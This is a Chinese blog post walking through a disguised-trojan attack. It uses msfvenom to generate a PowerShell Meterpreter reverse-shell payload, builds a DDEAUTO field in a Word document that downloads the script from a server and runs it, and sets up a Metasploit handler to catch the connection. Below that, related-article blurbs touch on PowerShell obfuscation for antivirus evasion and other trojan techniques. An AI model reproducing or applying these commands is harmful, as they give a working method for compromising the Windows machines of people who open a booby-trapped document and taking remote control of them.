Powershell配合word伪装木马执行

最新推荐文章于 2023-02-19 02:30:34 发布

洋洋cc

最新推荐文章于 2023-02-19 02:30:34 发布

阅读量388

点赞数 1

文章标签： windows ubuntu redis php powershell

本文链接：https://blog.csdn.net/weixin_45382656/article/details/118565075

版权

环境：

win7 64位，word2013

生成木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.135 LPORT=1122 -f psh-reflection >x.ps1

放到VPS上，这里我们放到本机搭建的apache环境中

win7中访问木马是否成功

打开word2013，设置域ctrl+F9

写入代码：

DDEAUTO C:\\windows\\system32\\cmd.exe "/k powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.37/x.ps1') "

命令通过powershell执行下载了VPS的x.ps1

监听payload

msf5 > handler -H 192.168.64.135 -P 1122 -p windows/x64/meterpreter/reverse_tcp

打开word文件，点击是

在后台弹出cmd

监听成功

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

洋洋cc

关注关注

1
点赞
踩
4

收藏

觉得还不错? 一键收藏
0
评论
复制链接

分享到 QQ

分享到新浪微博

扫一扫

利用PowerShell Empire实现Word文档DDE攻击控制（简单没啥用）

墨痕诉清风的博客

04-09

474

近期，有安全人员发现了一种DynamicData Exchange (DDE)协议绕过MSWord和MSExcel宏限制，不需使用MSWord和MSExcel漏洞，就能实现在Office文档中执行恶意命令目的。在这篇文章中，我将展示如何利用基于Empire的PowerShell来对Word文档进行“伪装”攻击，可能还有其它实现方法，我仅作个抛砖引玉。创建Empire Listener 创建一个Empire Listener监听线程，可点此查看Empire的使用说明。当监听线程启动运行之后，运行

[网络安全自学篇] 九十.远控木马详解及APT攻击中的远控和防御

杨秀璋的专栏

07-24

1万+

这是作者网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您喜欢，一起进步。前文分享了软件来源分析，结合APT攻击中常见的判断方法，利用Python调用扩展包进行溯源。这篇文章将详细分享远控木马及APT攻击中的远控，包括木马的基本概念和分类、木马的植入方式、远控木马的通信方式、APT攻击与远控木马等。作者之前分享了多篇木马的文章，但这篇更多是讲解远控型木马，基础性文章，希望对您有所帮助~

参与评论您还未登录，请先登录后发表或查看评论

使用powershell-empire的windows/launcher_vbs模块生成vbs木马

u013930899的博客

05-21

545

使用windows/launcher_vbs模块生成vbs木马。 1. 套路选择监听模式设置监听选择使用stager 执行execute生成木马投到被害主机执行木马在powershell-empire上agent交互模式进行操作 2. 渗透过程 2.1 启动powershell-empire server powershell-empire server 2.2 连接powershell-empire client ...

伪装word应用的安卓木马分析报告

weixin_34396103的博客

05-02

263

2015年05月21日 11:143252 阿里移动安全实验室截获了伪装成word的木马软件。该木马使用word图标作为应用图标，启动后会有申请设备管理器，隐藏图标，私自获取用户短信，拦截短信，并将信息通过短信和邮件上传，此外相关短信行为可以通过短信指令进行控制等行为。该木马还对自身引用进行加壳处理，导致杀软难以识别。目前阿里钱盾已经可以全面...

Office DDE 攻击

10-24

221

Authors: Etienne Stalmans, Saif El-Sherei What if we told you that there is a way to get command execution on MSWord without any Macros, or memory corruption?! Windows provides several methods ...

网络安全-木马入侵windows -msfvenom反弹shell（CMD）

热门推荐

杨秀璋的专栏

10-26

2万+

这是作者2020年参加清华大学、Coremail、奇安信DataCon举办的比赛，主要是关于钓鱼和异常邮件识别研究。非常感谢举办方让我们学到了新知识，DataCon也是我比较喜欢和推荐的大数据安全比赛，这篇文章2020年10月就进了我的草稿箱，但由于小珞珞刚出生，所以今天才发表，希望对您有所帮助！感恩同行，不负青春。

[网络安全自学篇] 八十四.《Windows黑客编程技术详解》之VS环境配置、基础知识及DLL延迟加载详解（1）

杨秀璋的专栏

06-19

1万+

从这篇文章开始，作者将带着大家来学习《Windows黑客编程技术详解》，其作者是甘迪文老师，推荐大家购买来学习。作者将采用实际编程和图文结合的方式进行分享，并且会进一步补充知识点。第一篇文章主要包括两部分内容，开发环境（VS、编译设置）、基础技术、运行单一实例（互斥对象示例）、DLL延迟加载（skin++换皮肤示例）、资源释放（MFC示例）。希望对您有所帮助~

[网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解

杨秀璋的专栏

05-20

1万+

这是作者网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您喜欢，一起进步。前文分享了XSS跨站脚本攻击案例，主要内容包括XSS原理、不同类型的XSS、XSS靶场9道题目、如何防御XSS。这篇文章将介绍Windows PE病毒，包括PE病毒原理、分类及感染方式详解，并通过案例进行介绍。基础性文章，希望对您有所帮助~

Meteasploit技术

m0_65332604的博客

04-06

2306

在使用Kali操作系统是应注意即使更新源，就像平时及时更新手机APP更新命令如下： apt-get update:只更新软件包的索引源，作用：同步源的软件包的索引信息，从而进行软件更新。 Apt-get upgrade:升级系统上安装的所有软件包，如果失败则保持更新之前的状态。 Apt-get dist-upgrade:升级整个Liunux系统（不仅升级所有已安装的软件包，而且会处理升级过程中可能出现的冲突，在某些情况下，他的部分升级需要人工参与）。渗透攻击大致步骤： *扫描目标及系统，寻找可用

PowerShell木马免杀利器: Invoke-Obfuscation(过火绒)

xf555er的博客

01-07

2339

Invoke-Obfuscation工具下载地址: https://github.com/danielbohannon/Invoke-ObfuscationInvoke-Obfuscation是一款PowerShell混淆工具，可以将PowerShell脚本加密，使得它的检测和分析变得更加困难。该工具包含多种加密方法，可以单独使用也可以结合使用，以提高混淆的效果。

PowerShell渗透--PowerSploit(WEB安全攻防)

小英雄颂人头

03-03

3152

PowerSploit是基于PowerShell的后渗透框架,包含很多PowerShell攻击脚本,主要用于渗透中的信息侦查,权限提升,权限维持,github地址为:github.com/PowerShellMafia/PowerSploit 安装下载程序目录 git clone https://github.com/PowerShellMafia/PowerSploi...

Powershell免杀

mingyqf的博客

12-14

760

Powershell免杀 0x01 前言前几天搞一个站的时候，进入内网，想让内网一台机子powershell上线。然后被杀软拦截了，极其的不讲武德，想着找我极强的朋友们白嫖个免杀的方法。后面还是没有白嫖到，只好自己去研究学习一下了（针对CS的进行免杀，后面思想大同小异）于是做了这个小笔记。 0x02 Powershell免杀思路先介绍一下powershell木马最常用的方式，一般都为远程下载然后执行的方法，特点就是：直接内存运行，无文件落地。例如： powershell.exe -nop -w hi

MSF&Powershell进行钓鱼攻击

weixin_44508748的博客

04-26

2488

一、Powershell配合MSF无文件攻击实验环境：靶机：win 7 >192.168.1.9 攻击机：kali>192.168.1.7 web服务器：win 10 > 192.168.1.6 本次实验的大致过程如下: MSF生成payload并放到靶机能够访问的服务器上，攻击者通过钓鱼等方式使靶机执行powershell代码，靶机反弹到msf监听的端口上建立会话，由此攻击...

渗透测试 ( 4 ) --- Meterpreter 命令详解

freeking101的博客

07-02

8995

Meterpreter 是 Metasploit 框架中的一个扩展模块，作为溢出成功以后的攻击载荷使用，攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell 的链接。Meterpreter shell 作为渗透模块有很多有用的功能，比如添加一个用户、隐藏一些东西、打开 shell、得到用户密码、上传下载远程主机的文件、运行 cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络.

自己动手做QQ木马--文件绑定篇（二）

fengzi_zhu的专栏

03-28

7987

接上篇: 代码如下：//根据返回值判断是否继续执行本文件bool CBindFile::Initiate(){ int i = 0， k = 0; DWORD dwErrorCode = 0; DWORD dwFileLen = GetFileSize(hFileMyself, NULL); //此外加入捆绑器程序的最终大小，来判断是绑定文件还是分解执行文件

编写WORD木马

I'm a hack----

10-03

2794

编写Word木马的ShellCode2008-04-25 08:16 P.M.曹军分析了导致去年“万珍”病毒的Word 2000溢出漏洞细节，但并没涉及漏洞的具体利用；第4期文章中，黑防讨论了生成WMF木马的ShellCode的设计与实现。由于自身的特点，Word木马的设计与前者有较大的区别，下面由我对此进行一下分析。预备知识讨论ShellCode之前，我们需要掌握几个预备知识： 1.诸如Do

TheFatRat生成免杀木马（powershell）报错问题

weixin_30247159的博客

04-07

663

1.问题复现用TheFatRat生成的免杀木马，包括.bat、.exe、.c编译后的木马在用msf返回连接时候，靶机弹出如下错误用VS调试，报错信息为：0x0C4E18E2 处有未经处理的异常(在 powershell.exe 中): 0xC0000005: 写入位置 0x00000080 时发生访问冲突。如图 2.解决方法 1.在Set Payload时候选择了window...

PowerShell远程执行任务详解与配置

PowerShell远程执行任务是一种强大的功能，它允许用户在Windows平台上通过Windows Remote Management (WinRM)服务来实现对其他计算机的管理和操作。WS-Management协议是这一功能的基础，它定义了跨网络进行管理数据...